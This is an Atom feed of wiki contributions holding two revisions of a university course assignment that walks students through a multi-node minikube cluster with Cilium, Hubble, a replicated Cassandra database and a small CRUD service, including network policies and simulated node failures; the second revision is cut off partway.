<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://homeostasis.scs.carleton.ca/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Housedhorse</id>
	<title>Soma-notes - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://homeostasis.scs.carleton.ca/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Housedhorse"/>
	<link rel="alternate" type="text/html" href="https://homeostasis.scs.carleton.ca/wiki/index.php/Special:Contributions/Housedhorse"/>
	<updated>2026-04-05T07:32:16Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.42.1</generator>
	<entry>
		<id>https://homeostasis.scs.carleton.ca/wiki/index.php?title=DistOS_2021F_Experience_2&amp;diff=23558</id>
		<title>DistOS 2021F Experience 2</title>
		<link rel="alternate" type="text/html" href="https://homeostasis.scs.carleton.ca/wiki/index.php?title=DistOS_2021F_Experience_2&amp;diff=23558"/>
		<updated>2021-11-29T17:08:48Z</updated>

		<summary type="html">&lt;p&gt;Housedhorse: Clarify question 3&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction =&lt;br /&gt;
&lt;br /&gt;
In this experience, you will be playing with a multi-node Kubernetes cluster simulated using &amp;lt;code&amp;gt;minikube&amp;lt;/code&amp;gt;, running the [https://docs.cilium.io/en/v1.10/ Cilium CNI], a replicated [https://cassandra.apache.org/doc/latest/ Apache Cassandra] database and an updated version of our beloved “printerfacts” service that consumes facts stored in the Cassandra database. As usual, you may wish to consult the relevant documentation if you get stuck. Links to documentation will be provided along with hints later on in this document.&lt;br /&gt;
&lt;br /&gt;
With the exception of Part 2, completing this experience shouldn’t take more than a couple of hours. Feel free to collaborate with other students if you get stuck. However, &#039;&#039;&#039;you must acknowledge any collaboration&#039;&#039;&#039;. Additionally, &#039;&#039;&#039;copying and pasting or simply “changing up” each other’s answers will be treated as an academic integrity violation&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
== Submissions ==&lt;br /&gt;
&lt;br /&gt;
Your experience report should be submitted as a PDF file on Brightspace, written in &#039;&#039;&#039;paragraph form&#039;&#039;&#039;. Code snippets or screenshots are allowed to augment your prose but are not required. We will post a submission link on Brightspace within the next few days.&lt;br /&gt;
&lt;br /&gt;
The official due date for the experience report is December 10th (the last day of class), but we will continue to accept submissions up until the date of the final exam if you need extra time.&lt;br /&gt;
&lt;br /&gt;
== Receiving Your Grade ==&lt;br /&gt;
&lt;br /&gt;
This experience is broken up into three parts:&lt;br /&gt;
&lt;br /&gt;
# A series of easy tasks designed to get you familiar Cilium, Cassandra, and a multi-node K8s cluster.&lt;br /&gt;
# A harder challenge that involves programming a client to interact with the Cassandra database and writing a custom Cilium security policy to lock down your cluster.&lt;br /&gt;
# An opportunity to reflect on this experience and make connections to overall themes in the course.&lt;br /&gt;
&lt;br /&gt;
Students are expected to complete Part 1 and Part 3 to get a grade of at most a B+. &#039;&#039;&#039;Part 2 is optional&#039;&#039;&#039;, but must be completed to receive a grade of A- or higher. Marks will be deducted for insufficient explanations or answers that demonstrate a lack of effort. By this logic, you should have a fairly clear idea of what grade you will receive when you submit this experience, based on how much effort you put in.&lt;br /&gt;
&lt;br /&gt;
== Setting Up Your Environment ==&lt;br /&gt;
&lt;br /&gt;
For this experience, a new VM image has been provided for you. It has a larger disk size, more RAM, and a batteries-included installation of the [https://github.com/cilium/cilium-cli Cilium] and [https://github.com/cilium/hubble Hubble] CLI. First, &#039;&#039;&#039;delete your old instance&#039;&#039;&#039; using the OpenStack web console, then create a new one. You can follow the [https://homeostasis.scs.carleton.ca/wiki/index.php/DistOS_2021F:_Using_Openstack same instructions as before], except replace the &amp;lt;code&amp;gt;COMP4000-studentvm-v1&amp;lt;/code&amp;gt; image with &amp;lt;code&amp;gt;COMP4000-studentvm-v2&amp;lt;/code&amp;gt;. When selecting your flavour, make sure you pick the flavour with &#039;&#039;&#039;16GiB of disk space and 8GB of RAM&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
Once your VM is set up, SSH into it using your preferred SSH client. You should probably be working with at least 2 terminals for the rest of this experience. After SSHing into your instance, run the following command to spin up a multi-node k8s cluster: &amp;lt;code&amp;gt;minikube start -n3 --cni=cilium&amp;lt;/code&amp;gt;. This might take a few minutes to run to completion.&lt;br /&gt;
&lt;br /&gt;
Verify your cluster has started correctly using &amp;lt;code&amp;gt;minikube status&amp;lt;/code&amp;gt;. You should see something like the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;minikube&lt;br /&gt;
type: Control Plane&lt;br /&gt;
host: Running&lt;br /&gt;
kubelet: Running&lt;br /&gt;
apiserver: Running&lt;br /&gt;
kubeconfig: Configured&lt;br /&gt;
&lt;br /&gt;
minikube-m02&lt;br /&gt;
type: Worker&lt;br /&gt;
host: Running&lt;br /&gt;
kubelet: Running&lt;br /&gt;
&lt;br /&gt;
minikube-m03&lt;br /&gt;
type: Worker&lt;br /&gt;
host: Running&lt;br /&gt;
kubelet: Running&amp;lt;/pre&amp;gt;&lt;br /&gt;
=== Cilium and Hubble ===&lt;br /&gt;
&lt;br /&gt;
Once your cluster is running, you can configure the cluster to use Cilium and Hubble. Due to some minikube and Cilium quirks, we need to uninstall the default version of Cilium installed by minikube and reinstall it using the Cilium CLI. You can do so with the following commands:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;cilium uninstall &amp;amp;amp;&amp;amp;amp; cilium install &amp;amp;amp;&amp;amp;amp; cilium hubble enable&amp;lt;/pre&amp;gt;&lt;br /&gt;
This may take a few minutes to run to completion.&lt;br /&gt;
&lt;br /&gt;
You can run the command &amp;lt;code&amp;gt;cilium status&amp;lt;/code&amp;gt; to check the status of your Cilium installation. Once everything has installed correctly, you should see something like the following when running &amp;lt;code&amp;gt;cilium status&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;student@alpine:~$ cilium status&lt;br /&gt;
    /¯¯\&lt;br /&gt;
 /¯¯\__/¯¯\    Cilium:         OK&lt;br /&gt;
 \__/¯¯\__/    Operator:       OK&lt;br /&gt;
 /¯¯\__/¯¯\    Hubble:         OK&lt;br /&gt;
 \__/¯¯\__/    ClusterMesh:    disabled&lt;br /&gt;
    \__/&lt;br /&gt;
&lt;br /&gt;
Deployment        cilium-operator    Desired: 1, Ready: 1/1, Available: 1/1&lt;br /&gt;
Deployment        hubble-relay       Desired: 1, Ready: 1/1, Available: 1/1&lt;br /&gt;
DaemonSet         cilium             Desired: 3, Ready: 3/3, Available: 3/3&lt;br /&gt;
Containers:       cilium             Running: 3&lt;br /&gt;
                  cilium-operator    Running: 1&lt;br /&gt;
                  hubble-relay       Running: 1&lt;br /&gt;
Cluster Pods:     2/2 managed by Cilium&lt;br /&gt;
Image versions    cilium             quay.io/cilium/cilium:v1.10.5: 3&lt;br /&gt;
                  cilium-operator    quay.io/cilium/operator-generic:v1.10.5: 1&lt;br /&gt;
                  hubble-relay       quay.io/cilium/hubble-relay:v1.10.5: 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
=== Cassandra ===&lt;br /&gt;
&lt;br /&gt;
We will be using the &amp;lt;code&amp;gt;helm&amp;lt;/code&amp;gt; package manger to install Cassandra in our k8s cluster. To do so, run the following commands:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;wget https://homeostasis.scs.carleton.ca/~will/cassandra.yml&lt;br /&gt;
helm repo add bitnami https://charts.bitnami.com/bitnami&lt;br /&gt;
helm install cassandra bitnami/cassandra -f cassandra.yml&amp;lt;/pre&amp;gt;&lt;br /&gt;
You can verify the status of your Cassandra installation using &amp;lt;code&amp;gt;kubectl get pods --watch&amp;lt;/code&amp;gt;. Wait until both &amp;lt;code&amp;gt;cassandra-0&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;cassandra-1&amp;lt;/code&amp;gt; show &amp;lt;code&amp;gt;1/1&amp;lt;/code&amp;gt; under &amp;lt;code&amp;gt;READY&amp;lt;/code&amp;gt;. This might take a few minutes. The output should look something like this:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;student@alpine:~$ kubectl get pods&lt;br /&gt;
NAME                      READY   STATUS    RESTARTS      AGE&lt;br /&gt;
cassandra-0               1/1     Running   0             4m2s&lt;br /&gt;
cassandra-1               1/1     Running   0             2m8s&amp;lt;/pre&amp;gt;&lt;br /&gt;
=== Printerfacts ===&lt;br /&gt;
&lt;br /&gt;
The printerfacts service from last experience has received an upgrade to work with our new Cassandra database. First, run the migrations (provided as a batch job) to initialize the Cassandra database and populate it with some facts about printers:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;wget https://homeostasis.scs.carleton.ca/~will/migrations.yml&lt;br /&gt;
kubectl apply -f migrations.yml&amp;lt;/pre&amp;gt;&lt;br /&gt;
After applying the migrations, you’re ready to deploy the printerfacts service:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;wget https://homeostasis.scs.carleton.ca/~will/deploy.yml&lt;br /&gt;
kubectl apply -f deploy.yml&amp;lt;/pre&amp;gt;&lt;br /&gt;
Verify that printerfacts has been correctly deployed with &amp;lt;code&amp;gt;kubectl get pods&amp;lt;/code&amp;gt;. You should see something like this:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;student@alpine:~$ kubectl get pods&lt;br /&gt;
NAME                      READY   STATUS    RESTARTS      AGE&lt;br /&gt;
cassandra-0               1/1     Running   0             31m&lt;br /&gt;
cassandra-1               1/1     Running   0             30m&lt;br /&gt;
server-85f9f4465b-9vhn9   1/1     Running   0             38m&lt;br /&gt;
server-85f9f4465b-b7s2n   1/1     Running   0             38m&lt;br /&gt;
server-85f9f4465b-bvgqs   1/1     Running   0             38m&lt;br /&gt;
server-85f9f4465b-bwf42   1/1     Running   0             38m&lt;br /&gt;
server-85f9f4465b-gn5sm   1/1     Running   0             38m&amp;lt;/pre&amp;gt;&lt;br /&gt;
Finally, run &amp;lt;code&amp;gt;minikube tunnel&amp;lt;/code&amp;gt; in a separate terminal to set up port forwarding for our &amp;lt;code&amp;gt;LoadBalancer&amp;lt;/code&amp;gt; API objects. This will enable you to interact with printerfacts from your VM, rather than needing to spin up a client pod like last time.&lt;br /&gt;
&lt;br /&gt;
Verify that it worked correctly by running &amp;lt;code&amp;gt;curl 10.96.0.201&amp;lt;/code&amp;gt; (this is the IP you will use to talk to printerfacts). Note that depending on your specific configuration, you may need to SSH into minikube using &amp;lt;code&amp;gt;minikube ssh&amp;lt;/code&amp;gt; before you can access the load balancer service. If your curl command hangs forever, this may be the issue.&lt;br /&gt;
&lt;br /&gt;
= Tasks =&lt;br /&gt;
&lt;br /&gt;
== Part 1: Multi-Node Kubernetes, Cilium, and Cassandra (Easy) ==&lt;br /&gt;
&lt;br /&gt;
Follow the instructions for each of the following numbered tasks. Make an effort to answer the accompanying questions, but more importantly please note down all of your observations and describe what you did for each task. You should also feel free to write down whatever questions you may have about a given task.&lt;br /&gt;
&lt;br /&gt;
To achieve the best possible grade in this section, you must demonstrate that you have made an effort to understand the results of each task. (Note that an effort does not strictly mean a full understanding; it is okay to have questions!)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ol style=&amp;quot;list-style-type: decimal;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Thanks the Cilium CNI, your Kubernetes cluster has been outfitted with new eBPF superpowers. In particular, Cilium installs a series of eBPF programs into your (VM’s) kernel which can be used to monitor traffic between containers, pods, and nodes, as well as enforce L4–L7 security policy. To test out your new superpowers, run &amp;lt;code&amp;gt;cilium hubble port-forward&amp;amp;amp;&amp;lt;/code&amp;gt; followed by &amp;lt;code&amp;gt;hubble observe&amp;lt;/code&amp;gt;. What is all that output? Can you make sense of any of it?&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Hint 1: Try checking &amp;lt;code&amp;gt;hubble --help&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;hubble observe --help&amp;lt;/code&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Hint 2: [https://docs.cilium.io/en/v1.10/gettingstarted/hubble/ Check out the Hubble docs]&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Unlike last time, our cluster consists of three nodes rather than just one. Try running &amp;lt;code&amp;gt;curl 10.96.0.201&amp;lt;/code&amp;gt; a few times and notice that the output now includes a node name in addition to a pod name. Do you notice any patterns in the output? Compare what you see with the output from running &amp;lt;code&amp;gt;kubectl get pods -o wide&amp;lt;/code&amp;gt;. Try to come up with an explanation for the distribution of printerfacts pods over the nodes in your cluster.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Hint 1: Have a look at the &amp;lt;code&amp;gt;affinity&amp;lt;/code&amp;gt; section of &amp;lt;code&amp;gt;deploy.yml&amp;lt;/code&amp;gt;.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Hint 2: Have a look at the [https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#inter-pod-affinity-and-anti-affinity relevant documentation].&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Hint 3: If you still can’t get it, an educated guess will suffice.&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Printerfacts is now a CRUD app that supports creating, reading, updating, and deleting facts from the Cassandra database. In particular, we now support the following endpoints:&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;GET &amp;lt;code&amp;gt;10.96.0.201/fact&amp;lt;/code&amp;gt;: Get a random fact from the database as a JSON object&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;GET &amp;lt;code&amp;gt;10.96.0.201/fact/keys&amp;lt;/code&amp;gt;: Get a list of all fact keys in the database as a JSON object&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;GET &amp;lt;code&amp;gt;10.96.0.201/fact/&amp;lt;key&amp;gt;&amp;lt;/code&amp;gt;: Get the fact with the key &amp;lt;key&amp;gt; in the database as a JSON object&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;POST &amp;lt;code&amp;gt;10.96.0.201/fact&amp;lt;/code&amp;gt;: Create a new fact where the request body is a JSON object of the form &amp;lt;code&amp;gt;{ &amp;amp;quot;fact&amp;amp;quot;: &amp;amp;quot;Fact Here&amp;amp;quot;, &amp;amp;quot;kind&amp;amp;quot;: &amp;amp;quot;Kind of fact (e.g. Cat fact)&amp;amp;quot; }&amp;lt;/code&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;PUT &amp;lt;code&amp;gt;10.96.0.201/fact/&amp;lt;key&amp;gt;&amp;lt;/code&amp;gt;: Modify the fact with key &amp;lt;key&amp;gt; in the database where the request body is a JSON object of the form &amp;lt;code&amp;gt;{ &amp;amp;quot;fact&amp;amp;quot;: &amp;amp;quot;Fact Here&amp;amp;quot;, &amp;amp;quot;kind&amp;amp;quot;: &amp;amp;quot;Kind of fact (e.g.  Cat fact)&amp;amp;quot; }&amp;lt;/code&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;DELETE &amp;lt;code&amp;gt;10.96.0.201/fact/&amp;lt;key&amp;gt;&amp;lt;/code&amp;gt;: Delete the fact with key &amp;lt;key&amp;gt; from the database&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;Try out each of the printerfacts endpoints. Note that you can specify the HTTP request type using &amp;lt;code&amp;gt;curl -X &amp;amp;lt;type&amp;amp;gt;&amp;lt;/code&amp;gt; (for example, &amp;lt;code&amp;gt;curl -X POST&amp;lt;/code&amp;gt; to send a POST request). You can send a JSON body as a payload by using &amp;lt;code&amp;gt;curl -H &#039;Content-type: application/json&#039; -d &#039;{&amp;amp;quot;key&amp;amp;quot;: &amp;amp;quot;value&amp;amp;quot;}&#039;&amp;lt;/code&amp;gt; where you replace the &amp;lt;code&amp;gt;{&amp;amp;quot;key&amp;amp;quot;: &amp;amp;quot;value&amp;amp;quot;}&amp;lt;/code&amp;gt; part with your JSON object.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;Optional: Try restarting the Cassandra pods using &amp;lt;code&amp;gt;kubectl rollout restart statefulset cassandra&amp;lt;/code&amp;gt;. While the pods are restarting, watch the output of &amp;lt;code&amp;gt;kubectl get pods --watch&amp;lt;/code&amp;gt; and try making requests to the printerfacts service at the same time. Do you notice any downtime?&lt;br /&gt;
&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Let’s use Cilium and Hubble to observe dataflows between our Cassandra database and the printerfacts service. To do this, run the following Hubble command: &amp;lt;code&amp;gt;hubble observe    --label component=server --label component=printerfacts -f&amp;lt;/code&amp;gt;. Make a few requests to the printerfacts service, exercising various API endpoints. Try and make sense of some of the network traffic you observe.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;In an effort to secure your cluster, you decide to employ a Cilium network policy that locks down the printerfacts service. First, download the example security policy by running &amp;lt;code&amp;gt;wget https://homeostasis.scs.carleton.ca/~will/printerfacts-policy.yml&amp;lt;/code&amp;gt;, then run &amp;lt;code&amp;gt;kubectl apply -f policy.yml&amp;lt;/code&amp;gt; to apply it. The example policy allows GET requests to &amp;lt;code&amp;gt;/&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/fact&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/fact/keys&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;/fact/&amp;amp;lt;key&amp;amp;gt;&amp;lt;/code&amp;gt;. Examine the policy file and make sure you understand how it works.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Try out your policy by making a few valid requests followed by some invalid ones. While your policy is applied, try using Hubble to observe the HTTP traffic by running &amp;lt;code&amp;gt;hubble observe --protocol http&amp;lt;/code&amp;gt;. Optionally, try extending the policy to make some other valid routes work (e.g. PUT, POST, and DELETE requests).&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint: You may wish to consult the [https://docs.cilium.io/en/v1.10/gettingstarted/http/ Cilium docs]&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Now that you’re familiar with printerfacts, it’s time to simulate a node failure. Since both printerfacts and Cassandra are replicated across multiple nodes in our cluster, taking one of them down should not impact either service.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Let’s first try a planned node disruption. This kind of disruption might occur when a cluster administrator wants to take a node down for maintenance, for example to perform a kernel update. Start by draining node &amp;lt;code&amp;gt;minikube-m02&amp;lt;/code&amp;gt; with the command &amp;lt;code&amp;gt;kubectl drain minikube-m02 --ignore-daemonsets&amp;lt;/code&amp;gt;. Now try interacting with the printerfacts service as before. Make note of any unusual behaviour and try to come up with a best-guess explanation.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Now you can bring your node back up using &amp;lt;code&amp;gt;kubectl uncordon minikube-m02&amp;lt;/code&amp;gt;. Once your node has been uncordoned, it should be ready for scheduling again. Try scaling up the printerfacts deployment to get some pods running on the node again.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Finally, let’s simulate a total node failure. To do this, we will kill the underlying kubelet for our node, which is running on your system as a Docker container. Use the &amp;lt;code&amp;gt;docker ps&amp;lt;/code&amp;gt; command to find the container ID that corresponds to your node, then kill it using &amp;lt;code&amp;gt;docker kill&amp;lt;/code&amp;gt;. Repeat the same experiments from before, documenting any unusual behaviour you observe.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ol&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Part 2: Interacting with Cassandra (Hard) ==&lt;br /&gt;
&lt;br /&gt;
Note that this part of the experience is only required if you wish to achieve a grade of A- or higher. You can also choose to skip one of the two questions here, but doing so will likely impact your grade.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ol style=&amp;quot;list-style-type: decimal;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Write a Cilium security policy that allows only SELECT and INSERT queries to the &amp;lt;code&amp;gt;pfacts.facts&amp;lt;/code&amp;gt; table in Cassandra. All other queries should be denied. Apply your policy and demonstrate how it works using a few examples queries. You may wish to consult [https://docs.cilium.io/en/v1.10/gettingstarted/cassandra/#how-to-secure-a-cassandra-database the Cilium policy docs].&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint: You can use this [https://homeostasis.scs.carleton.ca/~will/cassandra-policy.yml policy template] as a starting point.&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;p&amp;gt;Write and deploy your own containerized application as a replicated deployment to interact with the Cassandra database in some interesting way. You can choose to extend the printerfacts schema or come up with your own schema, depending on your preference. Be sure to explain how your application deals with Cassandra’s consistency model in a replicated cluster. In order to achieve points for this question, you &#039;&#039;&#039;must&#039;&#039;&#039; make some meaningful modifications to the database. Just consuming the existing data in a new way is not sufficient.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Hint 1: Cassandra allows the client to choose their consistency level when making queries. Hint 2: Cassandra queries are made in CQL, a NoSQL query language that is similar to but not totally compatible with SQL. Hint 3: You can spawn a &amp;lt;code&amp;gt;cqlsh&amp;lt;/code&amp;gt; session to issue test CQL queries like &amp;lt;code&amp;gt;kubectl exec -it cassandra-0 -- cqlsh&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ol&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Part 3: Reflection ==&lt;br /&gt;
&lt;br /&gt;
Summarize your experience with multi-node Kubernetes, Cilium, and Cassandra in a few paragraphs (both the good and the bad). What concepts do you see reflected here from the research papers we have read thus far? After having some hands on experience with a distributed system technology, have any of your opinions or initial assumptions changed? Feel free to list any other thoughts you have.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
&lt;br /&gt;
The idea for the printerfacts API comes from Christine Dodrill’s [https://christine.website/blog/dev-printerfact-2021-04-17 wonderful blog post].&lt;/div&gt;</summary>
		<author><name>Housedhorse</name></author>
	</entry>
	<entry>
		<id>https://homeostasis.scs.carleton.ca/wiki/index.php?title=DistOS_2021F_Experience_2&amp;diff=23557</id>
		<title>DistOS 2021F Experience 2</title>
		<link rel="alternate" type="text/html" href="https://homeostasis.scs.carleton.ca/wiki/index.php?title=DistOS_2021F_Experience_2&amp;diff=23557"/>
		<updated>2021-11-27T16:42:59Z</updated>

		<summary type="html">&lt;p&gt;Housedhorse: Add optional part to question 3&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction =&lt;br /&gt;
&lt;br /&gt;
In this experience, you will be playing with a multi-node Kubernetes cluster simulated using &amp;lt;code&amp;gt;minikube&amp;lt;/code&amp;gt;, running the [https://docs.cilium.io/en/v1.10/ Cilium CNI], a replicated [https://cassandra.apache.org/doc/latest/ Apache Cassandra] database and an updated version of our beloved “printerfacts” service that consumes facts stored in the Cassandra database. As usual, you may wish to consult the relevant documentation if you get stuck. Links to documentation will be provided along with hints later on in this document.&lt;br /&gt;
&lt;br /&gt;
With the exception of Part 2, completing this experience shouldn’t take more than a couple of hours. Feel free to collaborate with other students if you get stuck. However, &#039;&#039;&#039;you must acknowledge any collaboration&#039;&#039;&#039;. Additionally, &#039;&#039;&#039;copying and pasting or simply “changing up” each other’s answers will be treated as an academic integrity violation&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
== Submissions ==&lt;br /&gt;
&lt;br /&gt;
Your experience report should be submitted as a PDF file on Brightspace, written in &#039;&#039;&#039;paragraph form&#039;&#039;&#039;. Code snippets or screenshots are allowed to augment your prose but are not required. We will post a submission link on Brightspace within the next few days.&lt;br /&gt;
&lt;br /&gt;
The official due date for the experience report is December 10th (the last day of class), but we will continue to accept submissions up until the date of the final exam if you need extra time.&lt;br /&gt;
&lt;br /&gt;
== Receiving Your Grade ==&lt;br /&gt;
&lt;br /&gt;
This experience is broken up into three parts:&lt;br /&gt;
&lt;br /&gt;
# A series of easy tasks designed to get you familiar Cilium, Cassandra, and a multi-node K8s cluster.&lt;br /&gt;
# A harder challenge that involves programming a client to interact with the Cassandra database and writing a custom Cilium security policy to lock down your cluster.&lt;br /&gt;
# An opportunity to reflect on this experience and make connections to overall themes in the course.&lt;br /&gt;
&lt;br /&gt;
Students are expected to complete Part 1 and Part 3 to get a grade of at most a B+. &#039;&#039;&#039;Part 2 is optional&#039;&#039;&#039;, but must be completed to receive a grade of A- or higher. Marks will be deducted for insufficient explanations or answers that demonstrate a lack of effort. By this logic, you should have a fairly clear idea of what grade you will receive when you submit this experience, based on how much effort you put in.&lt;br /&gt;
&lt;br /&gt;
== Setting Up Your Environment ==&lt;br /&gt;
&lt;br /&gt;
For this experience, a new VM image has been provided for you. It has a larger disk size, more RAM, and a batteries-included installation of the [https://github.com/cilium/cilium-cli Cilium] and [https://github.com/cilium/hubble Hubble] CLI. First, &#039;&#039;&#039;delete your old instance&#039;&#039;&#039; using the OpenStack web console, then create a new one. You can follow the [https://homeostasis.scs.carleton.ca/wiki/index.php/DistOS_2021F:_Using_Openstack same instructions as before], except replace the &amp;lt;code&amp;gt;COMP4000-studentvm-v1&amp;lt;/code&amp;gt; image with &amp;lt;code&amp;gt;COMP4000-studentvm-v2&amp;lt;/code&amp;gt;. When selecting your flavour, make sure you pick the flavour with &#039;&#039;&#039;16GiB of disk space and 8GB of RAM&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
Once your VM is set up, SSH into it using your preferred SSH client. You should probably be working with at least 2 terminals for the rest of this experience. After SSHing into your instance, run the following command to spin up a multi-node k8s cluster: &amp;lt;code&amp;gt;minikube start -n3 --cni=cilium&amp;lt;/code&amp;gt;. This might take a few minutes to run to completion.&lt;br /&gt;
&lt;br /&gt;
Verify your cluster has started correctly using &amp;lt;code&amp;gt;minikube status&amp;lt;/code&amp;gt;. You should see something like the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;minikube&lt;br /&gt;
type: Control Plane&lt;br /&gt;
host: Running&lt;br /&gt;
kubelet: Running&lt;br /&gt;
apiserver: Running&lt;br /&gt;
kubeconfig: Configured&lt;br /&gt;
&lt;br /&gt;
minikube-m02&lt;br /&gt;
type: Worker&lt;br /&gt;
host: Running&lt;br /&gt;
kubelet: Running&lt;br /&gt;
&lt;br /&gt;
minikube-m03&lt;br /&gt;
type: Worker&lt;br /&gt;
host: Running&lt;br /&gt;
kubelet: Running&amp;lt;/pre&amp;gt;&lt;br /&gt;
=== Cilium and Hubble ===&lt;br /&gt;
&lt;br /&gt;
Once your cluster is running, you can configure the cluster to use Cilium and Hubble. Due to some minikube and Cilium quirks, we need to uninstall the default version of Cilium installed by minikube and reinstall it using the Cilium CLI. You can do so with the following commands:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;cilium uninstall &amp;amp;amp;&amp;amp;amp; cilium install &amp;amp;amp;&amp;amp;amp; cilium hubble enable&amp;lt;/pre&amp;gt;&lt;br /&gt;
This may take a few minutes to run to completion.&lt;br /&gt;
&lt;br /&gt;
You can run the command &amp;lt;code&amp;gt;cilium status&amp;lt;/code&amp;gt; to check the status of your Cilium installation. Once everything has installed correctly, you should see something like the following when running &amp;lt;code&amp;gt;cilium status&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;student@alpine:~$ cilium status&lt;br /&gt;
    /¯¯\&lt;br /&gt;
 /¯¯\__/¯¯\    Cilium:         OK&lt;br /&gt;
 \__/¯¯\__/    Operator:       OK&lt;br /&gt;
 /¯¯\__/¯¯\    Hubble:         OK&lt;br /&gt;
 \__/¯¯\__/    ClusterMesh:    disabled&lt;br /&gt;
    \__/&lt;br /&gt;
&lt;br /&gt;
Deployment        cilium-operator    Desired: 1, Ready: 1/1, Available: 1/1&lt;br /&gt;
Deployment        hubble-relay       Desired: 1, Ready: 1/1, Available: 1/1&lt;br /&gt;
DaemonSet         cilium             Desired: 3, Ready: 3/3, Available: 3/3&lt;br /&gt;
Containers:       cilium             Running: 3&lt;br /&gt;
                  cilium-operator    Running: 1&lt;br /&gt;
                  hubble-relay       Running: 1&lt;br /&gt;
Cluster Pods:     2/2 managed by Cilium&lt;br /&gt;
Image versions    cilium             quay.io/cilium/cilium:v1.10.5: 3&lt;br /&gt;
                  cilium-operator    quay.io/cilium/operator-generic:v1.10.5: 1&lt;br /&gt;
